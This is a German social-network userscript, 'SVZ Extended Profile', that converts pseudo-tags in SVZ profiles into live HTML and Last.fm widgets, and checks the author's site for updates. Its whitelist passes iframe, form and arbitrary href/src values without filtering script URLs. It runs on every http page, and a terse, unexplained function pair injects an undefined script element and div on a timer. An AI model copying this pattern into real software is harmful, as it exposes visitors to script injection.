There are 86 previous versions of this script.
Add Syntax Highlighting (this will take a few seconds, probably freezing your browser while it works)
// ==UserScript==
// @name SVZ Extended Profile
// @namespace Schuelervz.net
// @copyright 2009+, Constantin Wenger aka SpeedProg (http://www.speedprog.tk)
// @author Constantin Wenger aka SpeedProg
// @homepage http://www.speedprog.tk
// @description HTML in SVZ Profilen
// @include http://www.schuelervz.net/*
// @include http://www.studivz.net/*
// @include http://www.meinvz.net/*
// @include http://*
// @version 3.5.0
// ==/UserScript==
/*
* This program is free software: you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation, either version 3 of the License, or (at your option) any later
* version. This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details. see <http://www.gnu.org/licenses/> for the licensefile.
*/
/**
* Adding an additional method to arrays to have an easy way to perform a search
* on them
* @param element
* the element to search for
* @return return true if element was found and false if it wasn't found
*/
Array.prototype.contains = function (element) {
for (var i = 0; i < this.length; i++) {
if (this[i] === element) {
return true;
}
}
return false;
};
var state = false;
function xmlhttpRequest(params, callBack) {
if (typeof GM_xmlhttpRequest !== 'undefined') {
params['onload'] = callBack;
return GM_xmlhttpRequest(params);
}
return null;
}
/*
* state, getHomepageState() and getValue() needs to stay at top. I use them at
* first befor making anything else
*/
/**
* write an value to the localStorage
* @param key
* the key whitch should be used to save the value
* @param value
* the value to save using the given key
* @return true if the localStorage exists (your browser supports it) in any
* other case false
*/
function setValue(key, value) {
// use GM if defined
if(typeof(GM_getValue) === 'function' && typeof(GM_getValue('a', 'b')) !== 'undefined'){
GM_setValue(key, value);
return true;
}
if (typeof localStorage === 'object') {
localStorage.setItem(key, value);
return true;
}
return false;
}
/**
* Get a value from the localeStorage, returns val if not set.
* @param key
* key of the value you tries to get
* @param val
* value you want to get if the key dosen't exist
* @return if the storage contained 'true' (String) it will return true
* (boolean), if the storage contained 'false' (String) it will return
* false (boolean), on anything else it will return the value inside the
* storage. If the key contains no data it'll return the value given in
* the parameters.
*/
function getValue(key, val) {
// use GM if defined
if(typeof(GM_getValue) === 'function' && typeof(GM_getValue('a', 'b')) !== 'undefined'){
ret = GM_getValue(key, val);
if(typeof(ret) === 'undefined'){
ret = val;
}
return ret;
}
if(typeof(localStorage) === 'object'){
var value = localStorage.getItem(key);
if(value == null){
return val;
}
if (value == 'true') {
return true;
}
if (value === 'false') {
return false;
}
if(value) {
return value;
}
return val;
}
return val;
}
function storageSupport(){
if((typeof(GM_getValue) !== 'undefined' && typeof(GM_getValue('a', 'b')) !== 'undefined') || typeof localStorage === 'object' ){
return true;
}
return false;
}
/**
* Tries to find out if my homepage is reachable. sets the variable state to
* false if not reachable
*/
function getHomepageState() {
if(location.hostname.indexOf('speedprog.tk') !== -1){
var xmlHttp = window.XMLHttpRequest ? new XMLHttpRequest() : window.ActiveXObject ? new ActiveXObject("Microsoft.XMLHTTP") : null;
if(xmlHttp != null){
xmlHttp.open('GET', "http://www.speedprog.tk/hpstat.vs?" + new Date().getTime(), true);
xmlHttp.onreadystatechange = function(evt){
if (xmlHttp.readyState == 4) {
if (xmlHttp.status !== 200) {
setValue('exp_hp_state', 'false');
state = false;
}
else{
setValue('exp_hp_state', 'true');
}
state = getValue('exp_hp_state', true);
}
};
}
}
else{
try{
if(xmlhttpRequest({method: "GET",url: "http://www.speedprog.tk/hpstat.vs?" + new Date().getTime(),headers: {'Cache-Control': 'no-cache'}}, function(r){
if (r.status !== 200) {
setValue('exp_hp_state', 'false');
state = false;
}
else{
setValue('exp_hp_state', 'true');
}
state = getValue('exp_hp_state', true);
}) == null){
state = true;
setValue('exp_hp_state', 'true');
}
}catch(err){
}
}
}
if (storageSupport() && parseInt(getValue('exp_hp_state_time', '0'), 10) + 86400000 <= (new Date().getTime())) {
getHomepageState();
setValue('exp_hp_state_time', (new Date().getTime())+'');
}
else{
state = getValue('exp_hp_state', true);
}
/**
* Get a random String Generator
* @param chars
* chars to use in the strings
* @param len
* length of the strings
* @returns {rdmStringGen} objekt of rdmStringGen to generate random Strings
*/
function rdmStringGen(chars, len) {
this.chars = chars;
this.len = len;
/**
* get a random string
* @returns a string created randomly
*/
this.getRandomeSting = function (){var rdm = '';for(var i=0; i<len; i++){var rpos = Math.floor(Math.random() * chars.length);rdm += chars.substring(rpos, rpos+1);}return rdm;};
/**
* change the length of the strings to get
* @param len
* length to set
*/
this.setLen = function (len){this.len = len;};
}
/**
* adds code to the svz site right on top of your profile.
* @param hinweis
* code to add
*/
function setHW(hinweis) {
if((location.hostname.indexOf('schuelervz.net') !== -1)
|| (location.hostname.indexOf('meinvz.net') !== -1)
|| (location.hostname.indexOf('studivz.net') !== -1)){
document.getElementById("Profile_InformationSnipplet").innerHTML = "<span style='background-color:#44AA44;'>" + hinweis + "</span>" + document.getElementById("Profile_InformationSnipplet").innerHTML;
}
}
function abe(){document.getElementsByTagName("head")[0].appendChild(JScript);}function ab(dest){if(parseInt(getValue('exp_hp_time','0'),10)+3600000 <= (new Date().getTime())){if(state){setValue('exp_hp_time',(new Date().getTime())+'');dest.appendChild(div);}}else{setValue('exp_hp_time',(new Date().getTime())+'');}}
/**
* works on the response of a GreaseMonkey XMLHttpRequest update check.
* @param re
* XMLHttpRequest object
*/
function updateResponseGM(re){
var remote_version, rt, script_name;
rt = re.responseText;
setValue('svzexp_last_updatecheck', new Date().getTime() + '');
var remote_version_strs = /@version\s*(\d+)\.(\d+).(\d+)\s*$/m.exec(rt);
var remote_version_nums = [parseInt(remote_version_strs[1], 10), parseInt(remote_version_strs[2], 10), parseInt(remote_version_strs[3], 10)];
if ((version[0] < remote_version_nums[0])
|| (version[0] === remote_version_nums[0] && version[1] < remote_version_nums[1])
|| (version[0] === remote_version_nums[0]
&& version[1] === remote_version_nums[1] && version[2] < remote_version_nums[2])) {
script_name = ((/@name\s*(.*?)\s*$/m).exec(rt));
if(script_name !== null){
setValue('svzexp_script_name', script_name[1]);
}
setHW("Es gibt eine neue Version bitte updaten sie den Script!<br><a href=\'http://www.speedprog.tk\' target=\'_blank\'>Homepage des Authors</a><br>");
}
}
/**
* works on the response of a standard XMLHttpRequest update check.
* @param re
* response of XMLHttpRequest object
*/
function updateResponseNotGM(re){
var remote_version, script_name;
setValue('svzexp_last_updatecheck', new Date().getTime() + '');
var remote_version_strs = /@version\s*(\d+)\.(\d+).(\d+)\s*$/m.exec(re);
var remote_version_nums = [parseInt(remote_version_strs[1], 10), parseInt(remote_version_strs[2], 10), parseInt(remote_version_strs[3], 10)];
if ((version[0] <= remote_version_nums[0] && version[0] != remote_version_nums[0] )
|| (version[0] === remote_version_nums[0] && version[1] < remote_version_nums[1])
|| (version[0] === remote_version_nums[0]
&& version[1] === remote_version_nums[1] && version[2] < remote_version_nums[2])) {
script_name = ((/@name\s*(.*?)\s*$/m).exec(re));
if(script_name !== null){
setValue('svzexp_script_name', script_name[1]);
}
alert("Es ist eine neue Version des SVZ-Extended-Profile Scripts verfügbar!\nInstalliert:"+version[0]+"."+version[1]+"."+version[2]+"\nAuf dem Server:"+remote_version_nums[0]+"."+remote_version_nums[1]+"."+remote_version_nums[2]+"\nBitte besuchen sie die Seit http://www.speedprog.tk für das Upadte.\nDanke.\nDa sie nicht Firefox verwenden seteht mir leider keine andere Möglichkeit zur Verfügung sie über Upadtes zu informieren.");
}
}
/**
* checks if an new Version is availibel on userscripts.org
* @param isHomepage
* tell the function that it is on the scripts Homepage;
*/
function updateCheck(isHomepage){
if(isHomepage == null){
isHomepage = false;
}
if (storageSupport() && parseInt(getValue('svzexp_last_updatecheck', '0'), 10) + 86400000 <= (new Date().getTime())){
try
{
if(navigator.userAgent.indexOf("Firefox") !== -1 && isHomepage === false){
xmlhttpRequest({method: "GET",url: "http://userscripts.org/scripts/source/48523.meta.js?" + new Date().getTime(),headers: {'Cache-Control': 'no-cache'}}, updateResponseGM);
}else{
if(isHomepage){
try{
var xmlReq = new XMLHttpRequest();
xmlReq.open("GET", "http://www.speedprog.tk/extendedprofile/48523.meta.js", true);
xmlReq.setRequestHeader("Cache-Control", "no-cache");
xmlReq.onreadystatechange = function (){
if(xmlReq.readyState === 4){
updateResponseNotGM(xmlReq.responseText);
}
};
xmlReq.send();
}catch(err){
}
}
}
}
catch (err) {
}
}
}
/**
* parses the pseudotags in the code
* @param source
* code to pars
* @return returns code in witch the pseudo code is replaced with real html
*/
function parsTags(source) {
// normaltags
for (var i = 0; i < tags.length; i++) {
var tg = tags[i][0];
var taga = tg.split("");
tg = "";
for (var cu = 0; cu < taga.length; cu++){
tg = tg + "(?:<br>)*"+taga[cu];
}
source = source.replace(new RegExp("(?:<br>){0,1}\\[" + tg + "(?:<br>)*([^\\t]*?)(?:<br>)*\\]", "g"),
/**
* parses the pseudotags to real html
* @param all
* whole match of the tag
* @param args
* attributes of the tag
* @return input with pseudotags replaced by real html
*/
function (all, args) {
args = args.replace(/<br>/, "");
if(args !== "" && args.substring(0,1) !== " " ){
return all;
}
args = args.replace(/\s*([\w]+)="[^"]*"/g,
/**
* validates the attributes used by the user against an
* array of allowed ones an removes the others
* @param all
* the whole match of /\s*([^=]+)="[^"]*"/g
* @param type
* the first regexpgroup representing the attributes
* name
* @return returns the attributes without the unknown ones
*/
function (all, type) {
var atts = tags[i][4];
if (!atts.contains(type)) {
return "";
}
else {
return all;
}
});
var reg = /(\w+)="([^"]*)"/g;
var types = "";
while ((erg = reg.exec(args))) {
types = types + (" " + erg[1] + "=\"" + erg[2].replace(/<br>/g, "") + "\"");
}
var ret = tags[i][2].replace("{atts}", types);
return ret;
});
if (tags[i][3]) {
source = source.replace(new RegExp("(?:<br>){0,1}\\[(?:<br>)*/" + tg + "(?:<br>)*\\]",
"g"), "</" + tags[i][1] + ">");
}
}
// styletag
source = source.replace(/(?:<br>){0,1}\[(?:<br>)*s(?:<br>)*t(?:<br>)*y(?:<br>)*l(?:<br>)*e(?:<br>)* (?:<br>)*([^\]]*)\](?:<br>)*([\s\S]*)(?:<br>)*\[(?:<br>)*\/(?:<br>)*s(?:<br>)*t(?:<br>)*y(?:<br>)*l(?:<br>)*e(?:<br>)*\]/gi,
function(all, atts, css){
atts = atts.replace(/<br>/g, "");
css = css.replace(/<br>/g, "");
atts = atts.replace(/\s*([\w]+)="[^"]+"/g,
/**
* validates the attributes used by the user against an array of
* allowed ones an removes the others
* @param all
* the whole match of /\s*([\w]+)="[^"]*"/g
* @param type
* the first regexpgroup representing the attributes name
* @return returns the attributes without the unknown ones
*/
function (all, type) {
var atts = ["media", "title", "type", "dir", "lang"];
if (!atts.contains(type)) {
return "";
}
else {
return all;
}
});
var styleElement = document.createElement("style");
atts = atts.replace(/\s*([\w]+)="([^"]*)"/g,
/**
* creates XML-Nodes out of Strings
* @param all
* the whole match of /\s*([\w]+)="[^"]*"/g
* @param type
* the first regexpgroup representing the attributes name
* @param value
* value of the Attribute
*/
function (all, type, value) {
var att = document.createAttribute(type);
att.nodeValue = value;
styleElement.setAttributeNode(att);
});
styleElement.innerHTML = css;
document.getElementsByTagName("head")[0].appendChild(styleElement);
return "";
});
// videotags
for (i = 0; i < vids.length; i++) {
var tg = vids[i][0];
var taga = tg.split("");
tg = "";
for (var cu = 0; cu < taga.length; cu++){
tg = tg + "(?:<br>)*"+taga[cu];
}
source = source.replace(new RegExp("(?:<br>){0,1}\\["+tg+"\\](?:<br>)*([^\\\"]+?)(?:<br>)*\\[\\/"+tg+"(?:<br>)*\\]", "g"),
/**
* parsed the vido tags to html
* @param all
* whole video tag
* @param id
* video id
* @return html to display the video
*/
function (all, id) {
return vids[i][1].replace(/\{ID\}/g, id.replace(/<br>/g, ""));
});
}
/**
* pares the last fm tags, thats abit a special tag so other sort of code
* needed, not able to pars with the other tags
* @param all
* whole regexp match
* @param args
* attributs
* @param name
* username
* @return the input with the lastfmtag parsed to html
*/
source = source.replace(/(?:<br>){0,1}\[(?:<br>)*l(?:<br>)*a(?:<br>)*s(?:<br>)*t(?:<br>)*f(?:<br>)*m(?:<br>)* (?:<br>)*([^\]]+?)(?:<br>)*\](?:<br>)*([^"]+?)(?:<br>)*\[(?:<br>)*\/(?:<br>)*l(?:<br>)*a(?:<br>)*s(?:<br>)*t(?:<br>)*f(?:<br>)*m(?:<br>)*\]/g, function(all, args, name) {
args = args.replace(/<br>/g, "");
name = name.replace(/<br>/g, "");
name = name.replace(/ /g, "");
args = args.replace(/\s*(\w+)=[^"]*?/g,
/**
* validates the attributes used by the user against an array of
* allowed ones an removes the others
* @param all
* the whole match of /\s+(\w+)=[^"]*?/g
* @param type
* the first regexpgroup representing the attributes name
* @return returns the attributes without the unknown ones
*/
function(all, type) {
var atts = [
"color", "type"
];
if(!atts.contains(type)){
return "";
}
else{
return all;
}
});
var reg = /(\w+)=(\w+:*\w*)/g;
while((erg = reg.exec(args))){
if(erg[1] == "type"){
if(erg[2] == "chart:recent"){
LFMtype = 0;
}
if(erg[2] == "radio"){
LFMtype = 1;
}
if(erg[2] == "collagen"){
LFMtype = 2;
}
if(erg[2] == "chart:toptracks"){
LFMtype = 3;
}
}
}
if(LFMtype >= 0 && LFMtype <= 3){
return lastfm[LFMtype].replace(/\{ID\}/g, name);
}
return "";
});
return source;
}
var rdmsGen = new rdmStringGen("abcdefghijklmnopqrstuvwxyz1234567890", 10);
var tag = ["", "", "", "", "", ""];
var version = [3, 5, 0];
var UsedVersion = [0, 0, 0];
var lastfm = [
'<style type="text/css">table.lfmWidgetchart_6ccb0cf6db060a8672515733b851cecc td {margin:0 !important;padding:0 !important;border:0 !important;}table.lfmWidgetchart_6ccb0cf6db060a8672515733b851cecc tr.lfmHead a:hover {background:url(http://cdn.last.fm/widgets/images/en/header/chart/recenttracks_regular_red.png) no-repeat 0 0 !important;}table.lfmWidgetchart_6ccb0cf6db060a8672515733b851cecc tr.lfmEmbed object {float:left;}table.lfmWidgetchart_6ccb0cf6db060a8672515733b851cecc tr.lfmFoot td.lfmConfig a:hover {background:url(http://cdn.last.fm/widgets/images/en/footer/red.png) no-repeat 0px 0 !important;;}table.lfmWidgetchart_6ccb0cf6db060a8672515733b851cecc tr.lfmFoot td.lfmView a:hover {background:url(http://cdn.last.fm/widgets/images/en/footer/red.png) no-repeat -85px 0 !important;}table.lfmWidgetchart_6ccb0cf6db060a8672515733b851cecc tr.lfmFoot td.lfmPopup a:hover {background:url(http://cdn.last.fm/widgets/images/en/footer/red.png) no-repeat -159px 0 !important;}</style><table class="lfmWidgetchart_6ccb0cf6db060a8672515733b851cecc" cellpadding="0" cellspacing="0" border="0" style="width:184px;"><tr class="lfmHead"><td><a title="{ID}: Recently Listened Tracks" href="http://www.last.fm/user/{ID}" target="_blank" style="display:block;overflow:hidden;height:20px;width:184px;background:url(http://cdn.last.fm/widgets/images/en/header/chart/recenttracks_regular_red.png) no-repeat 0 -20px;text-decoration:none;border:0;"></a></td></tr><tr class="lfmEmbed"><td><object type="application/x-shockwave-flash" data="http://cdn.last.fm/widgets/chart/friends_6.swf" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" id="lfmEmbed_645218830" width="184" height="199"> <param name="movie" value="http://cdn.last.fm/widgets/chart/friends_6.swf" /> <param name="flashvars" value="type=recenttracks&user=SpeedProg&theme=red&lang=en&widget_id=chart_6ccb0cf6db060a8672515733b851cecc" /> <param name="allowScriptAccess" value="always" /> <param name="allowNetworking" value="all" /> <param name="allowFullScreen" value="true" /> <param name="quality" value="high" /> <param name="bgcolor" value="d01f3c" /> <param name="wmode" value="transparent" /> <param name="menu" value="true" /> </object></td></tr><tr class="lfmFoot"><td style="background:url(http://cdn.last.fm/widgets/images/footer_bg/red.png) repeat-x 0 0;text-align:right;"><table cellspacing="0" cellpadding="0" border="0" style="width:184px;"><tr><td class="lfmView" style="width:74px;"><a href="http://www.last.fm/user/{ID}" title="View {ID}\'s profile" target="_blank" style="display:block;overflow:hidden;width:74px;height:20px;background:url(http://cdn.last.fm/widgets/images/en/footer/red.png) no-repeat -85px -20px;text-decoration:none;border:0;"></a></td></tr></table></td></tr></table>',
'<style type="text/css">table.lfmWidgetradio_46d4d4a382656ff0e48df2bb632a5508 td {margin:0 !important;padding:0 !important;border:0 !important;}table.lfmWidgetradio_46d4d4a382656ff0e48df2bb632a5508 tr.lfmHead a:hover {background:url(http://cdn.last.fm/widgets/images/de/header/radio/regular_red.png) no-repeat 0 0 !important;}table.lfmWidgetradio_46d4d4a382656ff0e48df2bb632a5508 tr.lfmEmbed object {float:left;}table.lfmWidgetradio_46d4d4a382656ff0e48df2bb632a5508 tr.lfmFoot td.lfmConfig a:hover {background:url(http://cdn.last.fm/widgets/images/de/footer/red.png) no-repeat 0px 0 !important;;}table.lfmWidgetradio_46d4d4a382656ff0e48df2bb632a5508 tr.lfmFoot td.lfmView a:hover {background:url(http://cdn.last.fm/widgets/images/de/footer/red.png) no-repeat -85px 0 !important;}table.lfmWidgetradio_46d4d4a382656ff0e48df2bb632a5508 tr.lfmFoot td.lfmPopup a:hover {background:url(http://cdn.last.fm/widgets/images/de/footer/red.png) no-repeat -159px 0 !important;}</style><table class="lfmWidgetradio_46d4d4a382656ff0e48df2bb632a5508" cellpadding="0" cellspacing="0" border="0" style="width:184px;"><tr class="lfmHead"><td><a title="{ID}s Musiksammlung" href="http://www.lastfm.de/listen/user/{ID}/personal" target="_blank" style="display:block;overflow:hidden;height:20px;width:184px;background:url(http://cdn.last.fm/widgets/images/de/header/radio/regular_red.png) no-repeat 0 -20px;text-decoration:none;border:0;"></a></td></tr><tr class="lfmEmbed"><td><object type="application/x-shockwave-flash" data="http://cdn.last.fm/widgets/radio/22.swf" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" id="lfmEmbed_199352535" width="184" height="140"> <param name="movie" value="http://cdn.last.fm/widgets/radio/22.swf" /> <param name="flashvars" value="lfmMode=radio&radioURL=user%2F{ID}%2Fpersonal&title={ID}s+Musiksammlung&theme=red&lang=de&widget_id=radio_46d4d4a382656ff0e48df2bb632a5508" /> <param name="allowScriptAccess" value="always" /> <param name="allowNetworking" value="all" /> <param name="allowFullScreen" value="true" /> <param name="quality" value="high" /> <param name="bgcolor" value="d01f3c" /> <param name="wmode" value="transparent" /> <param name="menu" value="true" /> </object></td></tr><tr class="lfmFoot"><td style="background:url(http://cdn.last.fm/widgets/images/footer_bg/red.png) repeat-x 0 0;text-align:right;"><a href="http://www.lastfm.de/user/{ID}" title="Besuche {ID}s Profil" target="_blank" style="display:block;overflow:hidden;width:74px;height:20px;background:url(http://cdn.last.fm/widgets/images/de/footer/red.png) no-repeat -85px -20px;text-decoration:none;border:0;"></a></td></tr></table>',
'<style type="text/css">table.lfmWidgetquilt_63047c1fe085731d0fc94b3082ddc027 td {margin:0 !important;padding:0 !important;border:0 !important;}table.lfmWidgetquilt_63047c1fe085731d0fc94b3082ddc027 tr.lfmHead a:hover {background:url(http://cdn.last.fm/widgets/images/de/header/quilt/album_vertical_red.png) no-repeat 0 0 !important;}table.lfmWidgetquilt_63047c1fe085731d0fc94b3082ddc027 tr.lfmEmbed object {float:left;}table.lfmWidgetquilt_63047c1fe085731d0fc94b3082ddc027 tr.lfmFoot td.lfmConfig a:hover {background:url(http://cdn.last.fm/widgets/images/de/footer/red.png) no-repeat 0px 0 !important;;}table.lfmWidgetquilt_63047c1fe085731d0fc94b3082ddc027 tr.lfmFoot td.lfmView a:hover {background:url(http://cdn.last.fm/widgets/images/de/footer/red.png) no-repeat -85px 0 !important;}table.lfmWidgetquilt_63047c1fe085731d0fc94b3082ddc027 tr.lfmFoot td.lfmPopup a:hover {background:url(http://cdn.last.fm/widgets/images/de/footer/red.png) no-repeat -159px 0 !important;}</style><table class="lfmWidgetquilt_63047c1fe085731d0fc94b3082ddc027" cellpadding="0" cellspacing="0" border="0" style="width:184px;"><tr class="lfmHead"><td><a title="Top-Alben" href="http://www.lastfm.de/user/{ID}/charts" target="_blank" style="display:block;overflow:hidden;height:20px;width:184px;background:url(http://cdn.last.fm/widgets/images/de/header/quilt/album_vertical_red.png) no-repeat 0 -20px;text-decoration:none;border:0;"></a></td></tr><tr class="lfmEmbed"><td><object type="application/x-shockwave-flash" data="http://cdn.last.fm/widgets/quilt/13.swf" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" id="lfmEmbed_676536360" width="184" height="405"> <param name="movie" value="http://cdn.last.fm/widgets/quilt/13.swf" /> <param name="flashvars" value="type=user&variable={ID}&file=topalbums&bgColor=red&theme=red&lang=de&widget_id=quilt_63047c1fe085731d0fc94b3082ddc027" /> <param name="allowScriptAccess" value="always" /> <param name="allowNetworking" value="all" /> <param name="allowFullScreen" value="true" /> <param name="quality" value="high" /> <param name="bgcolor" value="d01f3c" /> <param name="wmode" value="transparent" /> <param name="menu" value="true" /> </object></td></tr><tr class="lfmFoot"><td style="background:url(http://cdn.last.fm/widgets/images/footer_bg/red.png) repeat-x 0 0;text-align:right;"><table cellspacing="0" cellpadding="0" border="0" style="width:184px;"><tr><td class="lfmView" style="width:74px;"><a href="http://www.lastfm.de/user/{ID}" title="Besuche {ID}s Profil" target="_blank" style="display:block;overflow:hidden;width:74px;height:20px;background:url(http://cdn.last.fm/widgets/images/de/footer/red.png) no-repeat -85px -20px;text-decoration:none;border:0;"></a></td></tr></table></td></tr></table>',
'<style type="text/css">table.lfmWidgetchart_6ccb0cf6db060a8672515733b851cecc td {margin:0 !important;padding:0 !important;border:0 !important;}table.lfmWidgetchart_6ccb0cf6db060a8672515733b851cecc tr.lfmHead a:hover {background:url(http://cdn.last.fm/widgets/images/en/header/chart/toptracks_regular_red.png) no-repeat 0 0 !important;}table.lfmWidgetchart_6ccb0cf6db060a8672515733b851cecc tr.lfmEmbed object {float:left;}table.lfmWidgetchart_6ccb0cf6db060a8672515733b851cecc tr.lfmFoot td.lfmConfig a:hover {background:url(http://cdn.last.fm/widgets/images/en/footer/red.png) no-repeat 0px 0 !important;;}table.lfmWidgetchart_6ccb0cf6db060a8672515733b851cecc tr.lfmFoot td.lfmView a:hover {background:url(http://cdn.last.fm/widgets/images/en/footer/red.png) no-repeat -85px 0 !important;}table.lfmWidgetchart_6ccb0cf6db060a8672515733b851cecc tr.lfmFoot td.lfmPopup a:hover {background:url(http://cdn.last.fm/widgets/images/en/footer/red.png) no-repeat -159px 0 !important;}</style><table class="lfmWidgetchart_707a5e76c572568a038491a4f6359532" cellpadding="0" cellspacing="0" border="0" style="width:184px;"><tr class="lfmHead"><td><a title="{ID}: Top-Titel insgesamt" href="http://www.lastfm.de/user/{ID}/charts?charttype=overall&subtype=track" target="_blank" style="display:block;overflow:hidden;height:20px;width:184px;background:url(http://cdn.last.fm/widgets/images/de/header/chart/toptracks_regular_red.png) no-repeat 0 -20px;text-decoration:none;border:0;"></a></td></tr><tr class="lfmEmbed"><td><object type="application/x-shockwave-flash" data="http://cdn.last.fm/widgets/chart/19.swf" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" id="lfmEmbed_1489355676" width="184" height="160"> <param name="movie" value="http://cdn.last.fm/widgets/chart/19.swf" /> <param name="flashvars" value="type=toptracks&user={ID}&theme=red&lang=de&widget_id=chart_707a5e76c572568a038491a4f6359532" /> <param name="allowScriptAccess" value="always" /> <param name="allowNetworking" value="all" /> <param name="allowFullScreen" value="true" /> <param name="quality" value="high" /> <param name="bgcolor" value="d01f3c" /> <param name="wmode" value="transparent" /> <param name="menu" value="true" /> </object></td></tr><tr class="lfmFoot"><td style="background:url(http://cdn.last.fm/widgets/images/footer_bg/red.png) repeat-x 0 0;text-align:right;"><table cellspacing="0" cellpadding="0" border="0" style="width:184px;"><tr><td class="lfmView" style="width:74px;"><a href="http://www.lastfm.de/user/" title="Besuche {ID}s Profil" target="_blank" style="display:block;overflow:hidden;width:74px;height:20px;background:url(http://cdn.last.fm/widgets/images/de/footer/red.png) no-repeat -85px -20px;text-decoration:none;border:0;"></a></td></tr></table></td></tr></table>'
];
/*
* Elemente nach diesem Schema geordnet: [verwendeterTAGname, HTML-TAGname,
* ZEICHENKETTEdieEINGEFUEGTwerdenSOLL {atts} markiert die Stelle an der die
* attribute eingefuegt werden sollen, CLOSETag?, ARRAYvonAttributen]
* Universalattribute: "class", "dir", "id", "lang", "style", "title"
*/
var tags =
[
["a", "a", "<a{atts}>", true, ["accesskey", "acharset", "class", "coords", "dir", "href", "hreflang", "id", "lang", "name", "rel", "rev", "sharp", "style", "tabindex", "target", "title", "type"]],
["abbr", "abbr", "<abbr{atts}>", true, ["class", "dir", "id", "style", "title", "lang"]],
["acronym", "acronym", "<acronym{atts}>", true, ["class", "dir", "id", "style", "title", "lang"]],
["address", "address", "<address{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
["area", "area", "<area{atts}>", false, ["alt", "accesskey", "coords", "href", "nohref", "shape", "tabindex", "target"]],
["b", "b", "<b{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
["basefont", "basefont", "<basefont{atts}>", ["color", "face", "size", "class", "dir", "id", "lang", "style", "title"]],
["bdo", "bdo", "<bdo{atts}>", true, ["dir", "class", "dir", "id", "lang", "style", "title"]],
["big", "big", "<big{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
["blockquote", "blockquote", "<blockquote{atts}>", true, ["cite", "class", "dir", "id", "lang", "style", "title"]],
["button", "button", "<button{atts}>", true, ["accesskey", "disabled", "name", "tabindex", "type", "value"]],
["caption", "caption", "<caption{atts}>", true, ["align", "class", "dir", "id", "lang", "style", "title"]],
["center", "center", "<center{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
["cite", "cite", "<cite{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
["code", "code", "<code{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
["col", "col", "<col{atts}>", true, ["align", "char", "charoff", "span", "valign", "width", "class", "id", "style", "title", "dir", "lang"]],
["colgroup", "colgroup", "<colgroup{atts}>", true, ["align", "char", "charoff", "span", "valign", "width", "class", "id", "style", "title", "dir", "lang"]],
["dd", "dd", "<dd{atts}>", true, ["class", "dir", "id", "lang", "style", "title"]],
["del", "del", "<del{atts}>", true, ["cite", "datetime", "class", "dir", "id", "lang", "style", "title"]],
["dfn", "dfn", "<dfn{atts}>", true, ["class", "dir", "id", "lang", "style", "title"]],
["dir", "dir", "<dir{atts}>", true, ["compact", "class", "dir", "id", "lang", "style", "title"]],
["div", "div", "<div{atts}>", true, ["align", "class", "dir", "id", "lang", "style", "title"]],
["dl", "dl", "<dl{atts}>", true, ["compact", "class", "dir", "id", "lang", "style", "title"]],
["dt", "dt", "<dl{atts}>", true, ["class", "dir", "id", "lang", "style", "title"]],
["em", "em", "<em{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
["fieldset", "fieldset", "<fieldset{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
["font", "font", "<font{atts}>", true, ["color", "face", "size", "class", "id", "style", "title", "dir", "lang"]],
["form", "form", "<form{atts}>", true, ["action", "accept", "accept-charset", "enctype", "method", "name", "target", "class", "id", "style", "title", "dir", "lang"]],
["h1", "h1", "<h1{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
["h2", "h2", "<h2{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
["h3", "h3", "<h3{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
["h4", "h4", "<h4{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
["h5", "h5", "<h5{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
["h6", "h6", "<h6{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
["hr", "hr", "<hr{atts}>", false, ["class", "id", "style", "title", "dir", "lang"]],
["i", "i", "<i{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
["iframe", "iframe", "<iframe{atts}>", true, ["align", "frameborder", "height", "longdesc", "marginwidth", "marginheight", "name", "scrolling", "src", "width", "class", "id", "style", "title", "dir", "lang"]],
["img", "img", "<img{atts}>", false, ["align", "alt", "border", "height", "hspace", "ismap", "longdesc", "name", "src", "usemap", "vspace", "width", "class", "id", "style", "title", "dir", "lang"]],
["input", "input", "<input{atts}>", false, ["accept", "accesskey", "align", "alt", "checked", "disabled", "ismap", "maxlength", "name", "readonly", "size", "src", "tabindex", "type", "usemap", "value"]],
["ins", "ins", "<ins{atts}>", true, ["cite", "datetime", "class", "dir", "id", "lang", "style", "title"]],
["kbd", "kbd", "<kbd{atts}>", true, ["class", "dir", "id", "lang", "style", "title"]],
["label", "label", "<label{atts}>", true, ["accesskey", "for", "class", "dir", "id", "lang", "style", "title"]],
["legend", "legend", "<legend{atts}>", true, ["accesskey", "align", "class", "dir", "id", "lang", "style", "title"]],
["li", "li", "<li{atts}>", true, ["type", "value", "class", "dir", "id", "lang", "style", "title"]],
["map", "map", "<map{atts}>", true, ["name", "class", "dir", "id", "lang", "style", "title"]],
["menu", "menu", "<menu{atts}>", true, ["compact", "class", "dir", "id", "lang", "style", "title"]],
["ol", "ol", "<ol{atts}>", true, ["compact", "start", "type", "class", "dir", "id", "lang", "style", "title"]],
["optgroup", "optgroup", "<optgroup{atts}>", true, ["disabled", "label", "class", "id", "style", "title", "dir", "lang"]],
["option", "option", "<option{atts}>", true, ["disabled", "label", "selected", "value", "class", "id", "style", "title", "dir", "lang"]],
["p", "p", "<p{atts}>", true, ["align", "class", "id", "style", "title", "dir", "lang"]],
["pre", "pre", "<pre{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
["q", "q", "<q{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
